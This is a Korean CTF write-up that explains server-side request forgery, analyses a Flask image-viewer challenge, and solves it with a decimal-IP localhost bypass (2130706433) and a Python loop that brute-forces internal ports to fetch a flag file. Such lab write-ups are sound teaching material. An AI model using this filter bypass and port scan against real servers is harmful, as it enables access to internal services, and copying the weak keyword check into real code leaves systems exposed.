개념정리
○ SSRF
- 공격자가 서버 측에서 원격 서비스 또는 리소스에 HTTP 요청을 보내도록 서버를 속이는 공격
- 공격자는 서버에서 외부 리소스에 대한 HTTP 요청을 보낼 수 있으며, 이를 통해 내부 네트워크나 인트라넷에 접근할 수 있음
- APT 공격자들은 SSRF를 통해 내부 네트워크의 서비스 및 리소스에 접근하여 기밀 정보를 획득하거나 공격의 다른 단계를 위한 기반을 마련
- SSRF 공격을 통해 공격자는 서버의 중요 정보나 데이터를 노출시키거나, 다른 시스템에 대한 스캔 및 공격을 수행할 수 있음
서버나 개발자가 의도하지 않은 요청과 동작을 수행하는 공격이므로 파급력이 큰 공격이다. SSRF는 내부 네트워크 서비스에 침입할 수 있는 공격으로 자주 언급된다.
실습 문제를 풀어보면서 알아보자.
문제풀이
Image Viewer라는 링크가 있다.
링크에 접속하면, url 주소를 입력하고 이미지를 불러오는 기능이 구현된 것을 확인할 수 있다.
[View]를 클릭하면 [그림]처럼 dream.png파일을 불러온다.
Image Viewer 기능을 정확히 분석하기 위해 코드를 확인했다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)
○ 코드 분석
/img_viewer
- POST 방식으로 url을 전송한다.
- url이 localhost 또는 127.0.0.1인 경우에는 error.png를 응답한다.
- localhost 검증을 통과했다면, url 주소로 request 요청한 결과를 img 형태로 생성하고 응답한다.
- HTTPServer 함수로 랜덤 포트를 지정하여 localhost 주소의 내부 네트워크 웹서버를 오픈한다.
- 내부 네트워크의
/flag.txt
에 접근하면 flag를 획득할 수 있다.
- 내부 네트워크의
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
host를 검증하는 부분을 보면, localhost와 127.0.0.1만 필터링한다.
내부 네트워크에 접근하지 못하도록 검증하는 부분이다.
하지만 위와 같은 검증은 취약하다. 따라서 키워드를 우회해서 내부 네트워크의 /flag.txt
를 요청할 수 있다.
주의할 점은 내부 네트워크는 1500~1800번 포트 중에 랜덤으로 선택되서 오픈된다는 점이다. 따라서 포트 번호를 브루트포싱해서 내부 네트워크 웹서버를 찾아야한다.
정리하면 다음과 같다.
- localhost, 127.0.0.1 키워드 우회
- 1500~1800번 포트를 부르트포싱해서 포트를 찾음
- 내부 네트워크
/flag.txt
에 접근해서 flag 획득
localhost 검증을 신경쓰지 않고 ssrf payload를 작성하면 다음과 같다.
http://127.0.0.1:[포트 번호]/flag.txt
하지만 localhost 검증을 우회해야한다. 따라서 작성한 localhost bypass ssrf payload는 다음과 같다.
http://2130706433:[포트 번호]/app/flag.txt
host인 127.0.0.1을 2130706433로 난독화했다.
("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc)
로컬 호스트 검증 코드를 보면 문자열 키워드를 정적으로 작성해서 필터링한다.
따라서 127.0.0.1를 난독화한 2130706433를 사용하면 우회할 수 있다.
https://github.com/OsandaMalith/IPObfuscator
IPObfuscator를 참고했다.
다음으로 1500~1800번 포트를 브루트포싱하여 포트를 찾아보자.
from requests import *
for i in range(1500,1800):
url='http://host3.dreamhack.games:20922/img_viewer'
data={'url':f"http://2130706433:{i}/flag.txt"}
response=post(url=url,data=data)
if response.text.find('iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAAMRmlDQ1BJQ0MgUHJvZmlsZQAASImVVwdYU8kWn') == -1:
print('[+] port number :',i)
print(response.text)
브루트포싱을 수행하는 코드다.
포트가 옳바르지 않은 경우에는 error.png를 응답할 것이므로 error.png 응답 base64 인코딩 데이터를 가져와서 응답결과로 error.png의 base64 데이터가 경우에는 로컬 네트워크 웹서버의 포트가 맞는 것으로 판단하도록 브루트포싱을 진행했다.
[그림]와 같이 base64 인코딩된 결과가 출력된 것을 확인해볼 수 있다.
base64 디코딩하자.